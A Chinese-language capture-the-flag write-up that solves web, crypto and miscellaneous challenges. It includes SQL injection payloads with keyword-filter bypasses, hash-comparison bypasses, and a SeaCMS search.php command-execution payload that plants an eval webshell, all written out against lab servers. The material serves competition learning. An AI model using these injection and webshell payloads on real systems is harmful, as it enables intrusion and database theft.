上海ctf WriteUp

Web

土肥原贤二

题目链接:http://47.103.43.235:81/quest/web/a/index.php

SQL注入题,没有过滤特殊字符,gid通过单引号包裹,采用联合查询注入

payload:?gid=0'%20union%20select%201,(select%20flag%20from%20flag),3,4%23

flag:flag{20_welcome_19}

吴佩孚

题目链接:http://47.103.43.235:85/b/%E7%AC%AC%E4%B8%80%E9%A2%98_js%EF%BC%9F.txt

给了一串字符,经过base64解密后,得到一串jsfuck代码,经过网站https://www.bugku.com/tools/jsfuck/解密后得到flag

flag:flag{sdf465454dfgert32}

戴星炳

题目链接:http://47.103.43.235:82/web/a/index.php

题目意思是计算一串公式,但是每次刷新页面公式内容都会变化,所以要通过python的Session机制提交计算结果,脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests,re
from bs4 import BeautifulSoup

s = requests.Session()
url = "http://47.103.43.235:82/web/a/index.php"
r = s.get(url)
soup = BeautifulSoup(r.text,'lxml')
a = re.findall('<p>(.*)</p>',str(soup.find_all('p')[1]))[0]
result = eval(a)

data = {
'result':result
}
r1 = s.post(url,data=data)
print(r1.text)

flag:flag{Y0U_4R3_3o_F4ST!}

晴气庆胤

题目链接:http://47.103.43.235:85/a/

源代码给出了提示:if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))

要提交两个md5值完全相等的参数,参考链接https://xz.aliyun.com/t/2232

通过链接中的fastcoll_v1.0.0.5.exe文件,使用命令fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt

生成1.txt2.txt两个文件

再通过以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制hash '. md5( (readmyfile("1.txt")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("1.txt"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5(urlencode (readmyfile("1.txt")));
echo "<br><br>\r\n";
echo '二进制hash '.md5( (readmyfile("2.txt")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("2.txt"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5( urlencode(readmyfile("2.txt")));
echo "<br><br>\r\n";

生成两个hash一样,但是实际内容不一样的字符串

将这两串字符分别提交,获得flag,payload:

1
param1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%8D%13%BE%8Fu%F7s%3B%60v%7E%BD%C46%B6%BA%CCyrer%F69%C84%2Az%92PB%97%ED%0D%09%AD%CD%DD%02%8C%A1%C7%CBG%D9%EF%F5%7C9%D5K%BAK%C6%C7N%3Be%93%F8P%5BH%27Qk%1Cr%80%9F-r%8D%0B%AC%D0aW%7F%13h+%7F%BCz%13%86F%AF%CB%1An%CB%EC%86%02%F0%0E%26%A6%D8%F6%D1%E3O%88%8C9w%C8%E4%C5f2%FA%ED%2B%02%E6%91%0E%CC%5C%9E%F4%EFzG%9B&param2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%8D%13%BE%8Fu%F7s%3B%60v%7E%BD%C46%B6%BA%CCyr%E5r%F69%C84%2Az%92PB%97%ED%0D%09%AD%CD%DD%02%8C%A1%C7%CBG%D9%EFu%7D9%D5K%BAK%C6%C7N%3Be%93%F8%D0%5BH%27Qk%1Cr%80%9F-r%8D%0B%AC%D0aW%7F%13h+%7F%BC%FA%13%86F%AF%CB%1An%CB%EC%86%02%F0%0E%26%A6%D8%F6%D1%E3O%88%8C9w%C8d%C5f2%FA%ED%2B%02%E6%91%0E%CC%5C%9Et%EFzG%9B

flag:flag{MD5@_@success}

冈村宁次

题目链接:http://47.103.43.235:83/web/a/index.php?id===QM

查询结果的id字段为1,而1的base64加密结果为MQ==,说明id参数的值经过base64解密后再反转再添加到SQL语句中,在py命令行中使用base64.b64encode('')[::-1]进行base64加密再反转效果

经过测试,这题对sleep,extractvalue,updatexml函数进行了检查,检查到再最前面添加1,所以无法使用报错和延时注入

另外过滤了or,select,union,空格,逗号,等号,绕过方法分别为:(1)双写or,select,union(2)用/**/代替空格(3)用select()a join select ()b代替逗号(4)用like,regexp代替等号

爆数据库payload:

1
base64.b64encode('0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/6)f)')[::-1]

数据库名:ctf_sql

爆表名payload:

1
base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database())f)")[::-1]

表名:book,flag

爆列名payload:

1
base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/0x666c6167)f)")[::-1]

列名:flag

爆flag payload:

1
base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/flag/**/from/**/flag)f)")[::-1]

flag:flag{s9li_1s_s0_e4sY}

作战计划

题目链接:http://47.103.43.235:84

海洋cms,之前就爆出的search.php存在命令执行漏洞,payload:

1
http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[1])

通过菜刀连接后,在根目录下找到flag.txt,获得flag

flag:flag{!!seacms_@@}

池步洲

题目链接:http://47.103.43.235:82/web/b/index.php

源代码给出提示文件index.phps,访问后下载获得源代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
$flag = '********';
if (isset($_POST['name']) and isset($_POST['password'])){
if ($_POST['name'] == $_POST['password'])
print 'name and password must be diffirent';
else if (sha1($_POST['name']) === sha1($_POST['password']))
die($flag);
else print 'invalid password';
}
?>

sha1函数无法处理数组,通过传入两个数组即可绕过过滤,payload:name[]=1&password[]=2

flag:flag{Y0u_just_br0ke_sha1}

密码学

日军空袭

题目链接:http://47.103.43.235:82/crypto/a/index.php

页面给了一串看似base64加密后的字符串,经过一次base64解密发现末尾出现了$3D说明可能还存在URL编码,所以需要URL和base64循环解码,脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from base64 import b64decode
from urllib import unquote

s = 'Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE'

while True:
while '%' in s:
s = unquote(s)
try:
s = b64decode(s)
except:
break
print s

得到s = fB__l621a4h4g_ai{&i},每五位凑成flag的一个字符,最后得到flag:flag{B64_&_2hai_14i}

潘汉年

题目给出字符串和提示flag格式,观察字符串和flag的ascii编码,发现从4开始逐位在原来基础上+1

1
2
3
4
5
s = "bg[`sZ*Zg'dPfP`VM_SXVd"
f = "flag"

for i in range(4):
print ord(f[i]) - ord(s[i])

结果得到4,5,6,7,验证了想法

据此对密文进行还原:

1
2
3
4
5
6
7
8
9
s = "bg[`sZ*Zg'dPfP`VM_SXVd"
flag = ""
offset = 4

for i in range(len(s)):
flag = flag + chr(ord(s[i]) + offset)
offset = offset + 1

print flag

得到flag:flag{c4es4r_variation}

袁殊

RSA 摸熟 n 过小,导致可被分解的问题,先用 openssl 提取公钥中的 e 和 n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
openssl rsa -pubin -text -modulus -in warmup -in gy.key

Public-Key: (256 bit)
Modulus:
00:a9:bd:4c:7a:77:63:37:0a:04:2f:e6:be:c7:dd:
c8:41:60:2d:b9:42:c7:a3:62:d1:b5:d3:72:a4:d0:
89:12:d9
Exponent: 65537 (0x10001)
Modulus=A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAKm9THp3YzcKBC/mvsfdyEFgLblCx6Ni
0bXTcqTQiRLZAgMBAAE=
-----END PUBLIC KEY-----

在 factordb.com 分解 n 得到素因子 p 和 q, 解得私钥 d,再解得明文 m

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *

e = 65537
n = 0xA9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9

p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
phi = (p - 1) * (q - 1)
assert GCD(e, phi) == 1
d = inverse(e, phi)

c = open('E:\\Downloads\\CTF\\RSA256\\fllllllag.txt', 'rb').read()
c = bytes_to_long(c)
m = pow(c, d, n)
print long_to_bytes(m)

# flag{_2o!9_CTF_ECUN_}

杂项

死亡真相

题目链接:https://47.103.43.235:85/d/奇怪的单点音.wav

在空缺处补0,再进行md5解密得到flag:flag{hsd132456}

大美晚报

题目链接:http://47.103.43.235:82/web/c/

题目给了一个二维码,保存图片后foremost,得到一个压缩包,提示说是管理员QQ号,直接爆破出号码:674290437

获得flag:flag{d6@YX$_m^aa0}